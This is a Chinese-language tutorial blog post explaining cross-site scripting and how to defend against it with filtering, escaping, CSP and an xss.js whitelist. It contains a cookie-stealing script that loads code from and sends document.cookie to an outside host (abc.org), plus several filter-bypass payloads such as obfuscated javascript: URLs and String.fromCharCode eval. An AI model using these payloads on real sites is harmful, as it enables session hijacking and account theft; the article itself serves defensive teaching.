XSS攻击顾名思义,就是利用javascript脚本技术对站点进行恶意攻击,XSS跨站脚本攻击的基本原理和SQL 注入攻击类似。都是利用系统执行了未经过滤的危险代码,不同点在于XSS是一种基于网页脚本的注入方式,也就是将脚本攻击载荷写入网页执行以达到对网页客户端访问用户攻击的目的,属于客户端攻击。例如”<script>”、”<a>”、”<img>”等标签。
而SQL注入攻击将危险代码绕过正常的文本输入变为可执行的SQL执行语句从而操纵数据库,从而进一步探测、操纵数据库信息,属于服务器攻击。
最经典的检测XSS语句是:<script>alert(1)</script>
也就是用户在留言板或者文本框、文本域等可以输入内容的地方写入上述脚本,在用户访问存在留言板、文本框或文本域的网页时,会执行该脚本,这表明我们输入的语句被原样写入了网页,并被浏览器执行了。
该操作如果被恶意的使用到商业中,那是非常危险的,作为一个合格的前端开发工程师,在做项目时就应该考虑到会触及的风险。
今天就针对于XSS攻击的方式及处理办法进行详述。
注:下文的/XSS/即要注入的攻击代码
1.cookie的攻击
例如,在网络空间上注入<script src = http://www.abc.org/bug.js></script>,bug.js的内容如下:
var img = document.createElement(“img”); Img.src = “http://www.abc.org/log?”+escape(document.cookie); document.body.appendChild(img);
js脚本注入至目标网站,将cookie写进log,进而获取cookie,进行浏览器重新发包就可以以被攻击者身份登录目标网站。将窃取cookie的代码换成下载者地址,就可以将下载者下载到存在下载者攻击漏洞的用户电脑上。也可以针对目标网站,在不知情的情况下”自愿”进行某些操作。
2.有时,攻击者会往可以写入内容的地方写入或者引入一些js脚本或者js插件,例如:
<script>alert(1)</script>或者<script src = http://www.abc.org/bug.js></script>
从而注入恶意脚本。
3.利用img图片标记属性或div标签属性跨站
例如,在留言板里输入下面内容,如果存在XSS漏洞,那么此类脚本就会被执行.这类脚本要闭合双引号”>”等。
<img src=”javacript:alert('这里是XSS攻击代码')”></img> 或 <div style=”width:0;height:0;background:url(javascript:document.body.onload = function(){alert(‘这里是XSS攻击代码’);};”></div>
4.突破程序员的过滤限制
有些攻击者或将JavaScript脚本进行换行、利用注释、使用大小写转换、使用进制编码、空格回车符、突破长度限制等方式来绕过程序员的过滤限制。
如:
1.<img src = j ava script:al er t(/XSS/)> //空格使用Tab键产生 2.<img src = j ava script :a ler t(/xss/)> //换行 3.<img src = “#”/**/onerror = alert(/XSS/)> //利用注释 4.String.fromCharCode()可以将ASCII编码还原成字符串,那么就可以eval(String.fromCharCode(97,108,101.....)) //使用编码 5.注释符闭合相邻的输入框达到合并的目的 <input id = 1 type = “text” value=””/> <input id = 2 type = “text” value = “”/> 这样我们可以在第一个框中输入”>alert<!-- 在第二个输入框中输入--><script>(/XSS/);</script> 最终效果: <input id = 1 type = “text” value=”” <script>alert(/XSS/)</script>”/>
对于XSS的攻击方式很多,这里就只列出了一些常用的方式。
对于常见的xss攻击,我们可以使用下面的方式来防御:
1.危险关键字或标记的过滤。在可以输入内容的地方,对一些像script,img,a,空格以及<>等进行过滤。
2.对特殊符号进行转义,如‘ “ % < >等,以防sql注入。
3.使用csp内容安全策略。
只允许本站资源 Content-Security-Policy: default-src ‘self’ 允许本站的资源以及任意位置的图片以及 https://ms200.cn 下的脚本 Content-Security-Policy: default-src ‘self’; img-src *; script-src https://ms200.cn
4.最直接的方式就是直接使用xss的js插件,如xss.js。
关于xss.js的使用方式见本文根据白名单过滤 HTML(防止 XSS 攻击)。
原创文章,作者:Ferrycoln,如若转载,请注明出处:https://ms200.cn/archives/955